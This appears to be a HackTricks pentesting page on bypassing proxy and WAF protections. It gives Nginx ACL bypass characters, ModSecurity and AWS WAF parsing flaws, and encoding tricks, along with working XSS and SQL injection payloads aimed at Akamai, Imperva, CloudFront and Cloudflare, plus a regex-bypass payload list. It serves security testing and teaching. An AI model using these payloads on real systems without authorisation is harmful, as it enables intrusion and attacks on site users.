Proxy / WAF Protections Bypass

Reading time: 11 minutes

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Bypass Nginx ACL Rules with Pathname Manipulation

Techniques from this research.

Nginx rule example:

plaintext
location = /admin {
    deny all;
}

location = /admin/ {
    deny all;
}

In order to prevent bypasses Nginx performs path normalization before checking it. However, if the backend server performs a different normalization (removing characters that nginx doesn't remove) it might be possible to bypass this defense.

NodeJS - Express

Nginx VersionNode.js Bypass Characters
1.22.0\xA0
1.21.6\xA0
1.20.2\xA0, \x09, \x0C
1.18.0\xA0, \x09, \x0C
1.16.1\xA0, \x09, \x0C

Flask

Nginx VersionFlask Bypass Characters
1.22.0\x85, \xA0
1.21.6\x85, \xA0
1.20.2\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.18.0\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.16.1\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

Spring Boot

Nginx VersionSpring Boot Bypass Characters
1.22.0;
1.21.6;
1.20.2\x09, ;
1.18.0\x09, ;
1.16.1\x09, ;

PHP-FPM

Nginx FPM configuration:

plaintext
location = /admin.php {
    deny all;
}

location ~ \.php$ {
    include snippets/fastcgi-php.conf;
    fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}

Nginx is configured to block access to /admin.php but it's possible to bypass this by accessing /admin.php/index.php.

How to prevent

plaintext
location ~* ^/admin {
    deny all;
}

Bypass Mod Security Rules

Path Confusion

In this post is explained that ModSecurity v3 (until 3.0.12), improperly implemented the REQUEST_FILENAME variable which was supposed to contain the accessed path (until the start of the parameters). This is because it performed an URL decode to get the path.
Therefore, a request like http://example.com/foo%3f';alert(1);foo= in mod security will suppose that the path is just /foo because %3f is transformed into ? ending the URL path, but actually the path that a server will receive will be /foo%3f';alert(1);foo=.

The variables REQUEST_BASENAME and PATH_INFO were also affected by this bug.

Something similar ocurred in version 2 of Mod Security that allowed to bypass a protection that prevented user accessing files with specific extensions related to backup files (such as .bak) simply by sending the dot URL encoded in %2e, for example: https://example.com/backup%2ebak.

Bypass AWS WAF ACL

Malformed Header

This research mentions that it was possible to bypass AWS WAF rules applied over HTTP headers by sending a "malformed" header that wasn't properly parsed by AWS but it was by the backend server.

For example, sending the following request with a SQL injection in the header X-Query:

http
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n

It was possible to bypass AWS WAF because it wouldn't understand that the next line is part of the value of the header while the NODEJS server did (this was fixed).

Generic WAF bypasses

Request Size Limits

Commonly WAFs have a certain length limit of requests to check and if a POST/PUT/PATCH request is over it, the WAF won't check the request.

Maximum size of a web request body that can be inspected for Application Load Balancer and AWS AppSync protections8 KB
Maximum size of a web request body that can be inspected for CloudFront, API Gateway, Amazon Cognito, App Runner, and Verified Access protections**64 KB

Older Web Application Firewalls with Core Rule Set 3.1 (or lower) allow messages larger than 128 KB by turning off request body inspection, but these messages won't be checked for vulnerabilities. For newer versions (Core Rule Set 3.2 or newer), the same can be done by disabling the maximum request body limit. When a request exceeds the size limit:

If prevention mode: Logs and blocks the request.
If detection mode: Inspects up to the limit, ignores the rest, and logs if the Content-Length exceeds the limit.

By default, the WAF inspects only the first 8KB of a request. It can increase the limit up to 128KB by adding Advanced Metadata.

Up to 128KB.

Obfuscation

bash
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>

# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;

Unicode Compatability

Depending on the implementation of Unicode normalization (more info here), characters that share Unicode compatability may be able to bypass the WAF and execute as the intended payload. Compatible characters can be found here.

Example

bash
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
<img src⁼p onerror⁼'prompt⁽1⁾'﹥  --> <img src=p onerror='prompt(1)'>

Bypass Contextual WAFs with encodings

As mentioned in this blog post, In order to bypass WAFs able to maintain a context of the user input we could abuse the WAF techniques to actually normalize the users input.

For example, in the post it's mentioned that Akamai URL decoded a user input 10 times. Therefore something like <input/%2525252525252525253e/onfocus will be seen by Akamai as <input/>/onfocus which might think that it's ok as the tag is closed. However, as long as the application doesn't URL decode the input 10 times, the victim will see something like <input/%25252525252525253e/onfocus which is still valid for a XSS attack.

Therefore, this allows to hide payloads in encoded components that the WAF will decode and interpret while the victim won't.

Moreover, this can be done not only with URL encoded payloads but also with other encodings such as unicode, hex, octal...

In the post the following final bypasses are suggested:

  • Akamai:akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>
  • Imperva:imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">
  • AWS/Cloudfront:docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>
  • Cloudflare:cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">

It's also mentioned that depending on how some WAFs understand the context of the user input, it might be possible to abuse it. The proposed example in the blog is that Akamai allow(ed) to put anything between /* and */ (potentially because this is commonly used as comments. Therefore, a SQLinjection such as /*'or sleep(5)-- -*/ won't be caught and will be valid as /* is the starting string of the injection and */ is commented.

These kind of context problems can also be used to abuse other vulnerabilities than the one expected to be exploited by the WAF (e.g. this could also be used to exploit a XSS).

H2C Smuggling

Upgrade Header Smuggling

IP Rotation

Regex Bypasses

Different techniques can be used to bypass the regex filters on the firewalls. Examples include alternating case, adding line breaks, and encoding payloads. Resources for the various bypasses can be found at PayloadsAllTheThings and OWASP. The examples below were pulled from this article.

bash
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)

Tools

  • nowafpls: Burp plugin to add junk data to requests to bypass WAFs by length

References

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks